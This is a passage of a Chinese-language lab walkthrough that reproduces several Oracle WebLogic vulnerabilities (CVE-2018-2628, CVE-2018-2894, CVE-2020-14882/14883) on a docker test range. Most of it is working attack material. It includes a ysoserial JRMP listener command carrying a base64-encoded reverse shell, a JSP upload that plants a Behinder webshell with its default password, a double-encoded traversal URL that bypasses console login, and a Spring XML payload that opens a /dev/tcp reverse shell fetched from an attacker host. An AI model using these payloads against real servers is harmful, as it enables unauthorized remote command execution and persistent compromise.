访问可知成功写入，后续可通过此poc写入jsp马子

2. 漏洞利用工具

直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞，直接就可利用

CVE-2018-2628

反序列化漏洞

0x00 漏洞产生原因

该漏洞是因为T3协议而触发的反序列化漏洞，造成的任意命令执行漏洞，导致未授权用户远程命令执行

0x01 影响范围

10.3.6.0    12.1.3.0    12.2.1.2    12.2.1.3

0x02 环境

docker搭建的vulhub靶场

靶场地址：172.28.10.221：7001

0x03 漏洞复现

1.nmap扫是否是T3协议

一般T3协议是默认开启的，但也需要扫一下看是否存在，说不定开发人员给关了

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1

-T4   设置扫描速度（1-6）                               -sV    对端口的服务进行扫描

-O    服务器系统扫描                                        -p       指定扫描端口

--script   指定文件脚本

需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测

（这里我在本地搭建的所以使用的是127.0.0.1）

也可使用集成的工具直接扫

2.漏洞检测（利用dnslog外带）

这里使用的是bp自带的工具

3.漏洞复现

攻击流程

被攻击机——》攻击机（jrmp服务）——》回到被攻击机执行命令——》攻击机接收到shell

在攻击机上执行一下命令

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'

 攻击机监听端口

尝试将反弹shell到攻击机

将bash命令加密一下

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

开启服务

./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'

这里注意java需要使用jre版本的，并且需要下载ysoserial放在java的bin目录里（也可放在其他地方使用绝对路径调用）

使用工具通过漏洞让被攻击机访问攻击机开启的服务

收到访问流量

成功拿到shell

CVE-2018-2894

任意文件上传漏洞

0x00 漏洞产生原因

weblogic未授权的两个页面存在任意文件上传

Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制

0x01 影响范围

10.3.6.0        12.1.3.0        12.2.1.2        12.2.1.3

0x02 环境

weblogic服务器ip：172.28.10.221

还是使用docker搭建环境

0x03 复现信息

漏洞存在的页面：/ws_utc/begin.do、/ws_utc/config.do登录账户密码使用命令查看docker-compose logs | grep password

0x04 漏洞复现

访问漏洞存在的页面

使用获取的账户密码登录（真实环境肯定是需要其他方法进入的，比如弱口令、未授权访问这些）

访问console目录自动跳转登录

启动web测试服务页

然后访问/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

这里把工作目录换为以上路径

bp抓包得到时间戳

因为他的命名方式为时间戳_名字.jsp

上传成功后访问此路径

/ws_utc/css/config/keystore/文件

能访问到就算成功

我这里使用的是冰蝎自带的马子

密码默认的

rebeyond

拿到webshell

CVE-2020-14882——CVE-2020-14883

管理控制台未授权远程命令执行漏洞

0x00 漏洞产生原因

CVE-2020-14882这个漏洞会造成未授权访问，而CVE-2020-14883允许后台用户通过http协议执行任意命令，这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果

0x01 影响范围

10.3.6.0.0        12.1.3.0.0        12.2.1.3.0        12.2.1.4.0        14.1.1.0.0

0x02 环境

weblogic服务ip：172.28.10.21

依旧是docker搭建

0x03 漏洞复现

正常访问登录页面会回显让登录

恶意构造的url，这里%252e%252e%252其实就是两次url加密后的../

/console/css/%252e%252e%252fconsole.portal

这是未授权访问的情况，因为是未授权访问所以这里缺少很多功能

方式1：

com.tangosol.coherence.mvel2.sh.ShellSession

使用此类的方法但是有局限性，只能在weblogic12.2.1以上版本能用，10.3.6版本并不存在此类

########因为这个靶场似乎不能使用还是怎么的，我做起来有问题，所以不做过多展示，直接使用法2

方法2：（这里注意，如果虚拟机不能过物理机防火墙那就把防火墙关了）

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法和CVE-2017-10271很相似，也是用到了XML解析的方法反弹shell，但是是让服务器去访问在攻击机上构造的xml文件，然后达到反弹shell的目的

首先写一个xml文件，这里我放在桌面的

例如：

<code><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">code>

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">code>

<constructor-arg>

<list>

<value>/bin/bash</value>

<value>-c</value>

<value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>

</list>

</constructor-arg>

</bean>

</beans>

然后python开启http服务

这里注意，在哪个文件夹下开启的，那么这个文件夹就是根目录

nc监听一下

payload：

http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")

​

CVE-2023-21839